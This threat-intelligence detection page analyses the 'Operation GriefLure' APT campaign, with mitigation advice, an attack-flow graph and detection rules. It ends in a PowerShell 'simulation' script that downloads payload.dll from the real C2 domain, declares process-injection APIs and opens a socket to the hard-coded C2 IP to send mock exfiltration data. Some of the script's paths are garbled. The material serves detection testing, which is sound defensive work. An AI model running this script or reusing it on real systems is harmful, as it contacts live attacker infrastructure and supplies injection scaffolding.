Operation GriefLure: Dissecting an APT Campaign Targeting Vietnam’s Military Telecom & Philippine Healthcare
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
Seqrite Labs identified a targeted spear-phishing campaign that relied on malicious Windows LNK files concealed inside double-compressed RAR archives. When opened, the LNK launched a native ftp.exe loader that reconstructed a polymorphic payload named sfsvc.exe from fragmented .doc files stored on the victim’s machine. The activity was aimed at senior executives within Vietnam’s military-owned telecom sector and personnel at a private hospital in the Philippines, using legitimate-looking documents as bait. The full infection chain completed in less than ten seconds and left only minimal artifacts on disk.
Investigation
The investigation broke down the archive structure, mapped the LNK execution path, and reverse-engineered the custom sfsvc.exe loader, which was designed to resemble regsvr32.exe. Analysts documented DLL sideloading, in-memory shellcode execution, process injection, and command-and-control communications through a disguised domain. Artifact review also uncovered a hard-coded C2 domain, www.whatsappcenter.com, hosted through a bulletproof provider in Hong Kong.
Mitigation
Defenders should block execution of LNK files delivered through email attachments and monitor use of native ftp.exe with suspicious command-line arguments. Endpoint detection should focus on fileless DLL loading, alternate data stream writes under C:\Users\Public\Update, and rapid creation of sfsvc.exe. Organizations should also strengthen document provenance checks and educate users about lures that appear to be legitimate legal or whistleblower-related files.
Response
If the malicious LNK or sfsvc.exe process is detected, isolate the affected endpoint immediately, collect volatile memory, and hunt for 360.*.dll loader files and alternate data stream artifacts. The identified command-and-control domain and related IP address should be blocked, and incident response should begin to determine whether any data was exfiltrated. A broader hunt should also be conducted for similar LNK-driven ftp.exe loader activity across the environment.
"graph TB %% Class Definitions classDef action fill:#c2e0ff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#d0ffd0 classDef malware fill:#ff9999 classDef c2 fill:#ffb3e6 %% Nodes u2013 Attack Flow attack_initial_access["<b>Action</b> – <b>T1566.001 Spearphishing Attachment</b><br/>Victim receives a doubleu2011compressed RAR archive with a malicious LNK file"] class attack_initial_access action artifact_rar["<b>File</b> – RAR Archive<br/>Contains a legitimateu2011looking legal document and a malicious LNK"] class artifact_rar file artifact_lnk["<b>File</b> – Malicious LNK<br/>Doubleu2011extension (e.g., document.lnk.rar) to evade detection"] class artifact_lnk file tool_ftp["<b>Tool</b> – ftp.exe (Windows System Binary)<br/>Used as a proxy to launch the hidden batch script"] class tool_ftp tool process_batch["<b>Process</b> – Batch Script<br/>Executes copy /b to reassemble payload fragments into sfsvc.exe and 360.dll"] class process_batch process file_sfsvc_exe["<b>File</b> – sfsvc.exe<br/>Final payload executable created from document fragments"] class file_sfsvc_exe file file_360dll["<b>File</b> – 360.dll<br/>Polymorphic DLL used for sideu2011loading and shellcode delivery"] class file_360dll file action_modify_path["<b>Action</b> – <b>T1574.007 Modify Environment Variables (PATH)</b><br/>Adds C:\Users\Public\Update to PATH for persistence"] class action_modify_path action action_dll_side_load["<b>Action</b> – <b>T1574.002 DLL Sideu2011Loading</b> & <b>T1546.009 AppCert DLL Execution</b><br/>sfsvc.exe loads 360.dll via /calldll and DllRegisterServer"] class action_dll_side_load action process_explorer["<b>Process</b> – explorer.exe<br/>Target process for DLL injection"] class process_explorer process action_process_injection["<b>Action</b> – <b>T1055.001 DLL Injection</b><br/>360.dll injects secondu2011stage shellcode into explorer.exe"] class action_process_injection action action_discovery["<b>Action</b> – <b>T1057 Process Discovery</b> & <b>T1518.001 Security Software Discovery</b><br/>Enumerates running processes and installed security products"] class action_discovery action action_cred_access["<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b> & <b>T1552.001 Credentials in Files</b><br/>Harvests saved passwords, cookies, and config files"] class action_cred_access action action_collection["<b>Action</b> – <b>T1113 Screen Capture</b> & <b>T1083 File and Directory Discovery</b><br/>Collects screenshots and directory listings for exfiltration"] class action_collection action action_exfiltration["<b>Action</b> – <b>T1071.001 HTTPS</b> & <b>T1573 Obfuscated/Encrypted Channel</b><br/>Data sent to C2 server over XORu2011encoded HTTPS"] class action_exfiltration action c2_server["<b>C2 Server</b> – www.whatsappcenter.com<br/>Receives exfiltrated data"] class c2_server c2 %% Connections attack_initial_access –>|delivers| artifact_rar artifact_rar –>|contains| artifact_lnk artifact_lnk –>|invokes| tool_ftp tool_ftp –>|executes| process_batch process_batch –>|creates| file_sfsvc_exe process_batch –>|creates| file_360dll file_sfsvc_exe –>|triggers| action_modify_path action_modify_path –>|enables| action_dll_side_load file_360dll –>|loaded by| action_dll_side_load action_dll_side_load –>|injects into| process_explorer process_explorer –>|subject to| action_process_injection action_process_injection –>|enables| action_discovery action_discovery –>|feeds| action_cred_access action_cred_access –>|provides data for| action_collection action_collection –>|leads to| action_exfiltration action_exfiltration –>|sends data to| c2_server "
Attack Flow
Detections
Possible Malicious LNK File with Double Extension (via cmdline)
View
Possible FTP Script Execution With Uncommon Extensions (via cmdline)
View
Suspicious Execution from Public User Profile (via process_creation)
View
Alternative Remote Access / Management Software (via process_creation)
View
Suspicious Files in Public User Profile (via file_event)
View
IOCs (HashSha256) to detect: Operation GriefLure: Dissecting an APT Campaign Targeting Vietnam’s Military Telecom & Philippine Healthcare
View
IOCs (SourceIP) to detect: Operation GriefLure: Dissecting an APT Campaign Targeting Vietnam’s Military Telecom & Philippine Healthcare
View
IOCs (DestinationIP) to detect: Operation GriefLure: Dissecting an APT Campaign Targeting Vietnam’s Military Telecom & Philippine Healthcare
View
Detection of Operation GriefLure C2 Communication [Windows Network Connection]
View
Detection of Operation GriefLure Activity Using ftp.exe and sfsvc.exe [Windows Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands:
The attacker, having gained initial foothold via a phishing attachment (T1566.001, T1204.002), chooses a living‑off‑the‑land approach to avoid executable payloads. Using the built‑incmd.exe(T1059.003) they launch a PowerShell one‑liner that performs the following steps:- Discovery – enumerate system info (T1082) and running processes (T1057) to decide on a suitable injection target.
- Credential Harvesting – read browser stores (T1555.003) and dump credential files (T1552.001) to a staging folder.
- Payload Retrieval – download a malicious DLL from the C2 domain
www.whatsappcenter.comover HTTPS (T1071.001, T1041). - Process Injection – inject the DLL into
explorer.exe(T1055.001) to gain persistence and elevate privileges. - C2 Communication – open a persistent TCP connection to
38.54.122.188(the hard‑coded IP) and begin exfiltrating the harvested data.
The critical step that satisfies the Sigma rule is the outbound connection attempt to the exact domain/IP, which will be logged by Sysmon and the Windows firewall.
-
Regression Test Script:
# ------------------------------------------------- # GriefLure C2 simulation – PowerShell version # ------------------------------------------------- # 1. System discovery (T1082, T1057) Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null Get-Process | Select-Object -First 5 | Out-Null # 2. Simulate credential harvesting (T1555.003, T1552.001) $credStaging = "$env:TEMPcreds.txt" "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging # 3. Download malicious DLL from hard‑coded C2 domain (T1071.001, T1041) $c2Domain = "www.whatsappcenter.com" $c2Url = "https://$c2Domain/payload.dll" $dllPath = "$env:TEMPpayload.dll" Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing # 4. Inject DLL into explorer.exe (T1055.001) $target = (Get-Process -Name explorer).Id $inject = @" using System; using System.Runtime.InteropServices; public class Injector { [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } "@ Add-Type $inject # (The actual injection steps are omitted for brevity; in a real test you would call the above APIs.) # 5. Open persistent C2 socket to the hard‑coded IP (T1041) $c2Ip = "38.54.122.188" $port = 443 $client = New-Object System.Net.Sockets.TcpClient $client.Connect($c2Ip, $port) $stream = $client.GetStream() $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START") $stream.Write($payload,0,$payload.Length) Start-Sleep -Seconds 5 $stream.Close() $client.Close() -
Cleanup Commands:
# Remove staged files Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue # Close any lingering TCP connections (if still open) Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Optionally reset Sysmon buffer (for a clean state in repeated tests) & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml